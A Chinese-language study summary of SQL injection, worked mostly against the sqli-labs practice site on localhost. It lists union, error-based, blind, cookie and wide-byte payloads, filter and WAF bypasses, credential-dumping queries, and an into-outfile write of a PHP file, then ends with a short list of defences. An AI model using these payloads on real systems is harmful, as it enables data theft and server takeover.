SQL注入思路總結
1.SQL注入的業務場景及危害
1.1 什么是SQL注入
SQL注入是服務器端未嚴格校驗客戶端發送的數據,而導致服務端SQL語句被惡意修改并成功執行的行為稱為SQL注入。
1.2 為什么會有SQL注入
- 代碼對帶入SQL語句的參數過濾不嚴格
- 未啟用框架的安全配置,例如:PHP的magic_quotes_gpc
- 未使用框架安全的查詢方法
- 測試借口未刪除
- 未啟用防火墻,例如IPTABLES。
- 未使用其他的安全防護設備,例如:WAF
1.3 SQL注入的業務場景以及危害
包括登陸功能、搜索功能、詳情頁、商品購買等
危害包括數據庫泄漏:數據庫中存放的用戶的隱私信息的泄漏;
網頁篡改:通過操作數據庫對特定網頁進行篡改;
網站被掛馬,傳播惡意軟件:修改數據庫一些字段的值,嵌入網馬鏈接,進行掛馬攻擊。
數據庫被惡意操作:數據庫服務器被攻擊,數據庫管理員賬戶被篡改。
服務器被遠程控制,被安裝后門。經由數據庫服務器提供的操作系統支持,讓黑客得以修改或控制操作系統。
1.4 Mysql內置函數




mysql 運算符(算術運算符、比較運算符、邏輯運算符)



1.5 SQL注入流程




1.6 SQL注入的分類及注入方法
按照請求方法進行分類:
- GET型注入
Step1: 猜解列數http://127.0.0.1/sqli/Less-2/?id=1%20order%20by%203%20#
Step2: 猜解數據庫名http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%23
Step3:猜解表名:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%23
Step4:猜解列名:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7573657273%23
Step5:讀數據:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(concat_ws(0x3a,username,password)),3%20from%20users%23
- POST型注入
按照SQL數據類型分類:
- 整型注入
- 字符型注入
其他的數據類型:
- 報錯注入

查詢當前版本:' union select 1,extractvalue(1,concat(0x7e,(select version())))#
使用“extractvalue”函數查詢當前表名:' union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))#
使用"updatexml"函數查詢當前php版本:' union select updatexml(1,concat(0x7e,(select version())),1)#
使用“updatexml”函數查詢當前表名:' union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)#
- 雙注入 Lesson11
查詢版本:admin' union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),version())#
查詢數據庫名:admin' union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),(select table_schema from information_schema.schemata limit 0,1))#
- 時間盲注 Sleep(1)函數
猜測表名:?id=1 or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='security' limit 0,1)>0,sleep(2),0)#
也可用ord( )
- 布爾盲注 Lesson-5

猜測版本:id=1' or (select substr(version(),1,1)='5') #
猜測數據庫名:id=1' or (select ascii(substr(table_schema,1,1)) from information_schema.schemata limit 0,1)>1#
猜測表名:id=1' or (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='security' limit 0,1)>1# 可以用burp的intruder進行爆破
- Cookie注入
和POST、GET注入一樣,只是在Cookie中產生注入。
- User-Agent注入
和POST、GET注入一樣,只是在UA中產生注入。可能是其他SQL語句 例如insert、update等。需要進行靈活判斷。
- 二次編碼注入
%2527 編碼后變成%27 再解碼變成' 就繞過了過濾。
- 二次注入

在sqilab中第24關可以通過二次注入,重置admin密碼。
- DNSlog注入
1.7 SQL注入讀寫文件
load_file(file_name):讀取文件并返回該文件的內容作為一個字符串,使用條件:
1.必須有權限讀取并且文件必須完全可讀
2.欲讀取文件必須在服務器上
3.必須制定文件完整的路徑
4.欲讀取文件必須小雨max_allowed_packet
寫文件 union select 1,2,"" into outfile "/var/www/1.php".
2.0注入繞過
2.1繞過注釋符注入#
less-23/index.php?id=1' or (extractvalue(1,concat(0x7e,version()))) or '
2.2繞過and/or字符過濾
http://127.0.0.1/sqli/Less-25/index.php?id=-1‘ || (extractvalue(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1)))) ||’
2.3繞過空格過濾
%09 TAB 鍵(水平)
%0a 新建一行
%0c 新的一頁
%0d return 功能
%0b TAB 鍵(垂直)
%a0 空格
/**/ 代替空格
2.4內聯注釋繞過
此題過濾了空格,select,#。
內聯注釋: /*!select*/
http://127.0.0.1/sqli/Less-27/?id=1%27%0aor%0a(extractvalue(1,concat(0x7e,(sElect%0aschema_name%0afrom%0ainformation_schema.schemata%0alimit%0a0,1))))%0aor%0a%27
2.5寬字節注入
主要原因是經常會出現這個過濾“\”,因此可以使用寬字節注入吃掉這個“\”。由于這個字符的hex是5c 所以可以用%865c進行繞過。
http://127.0.0.1/sqli/Less-32/?id=-1%86‘%20union%20select%201,version(),3%23
2.6 其他類型繞過

SQL注入防御手段
代碼層
黑名單
白名單
敏感字符過濾
使用框架安全查詢
配置層
開啟GPC
使用UTF-8
物理層
WAF
數據庫審計
云防護
IPS(入侵檢測系統)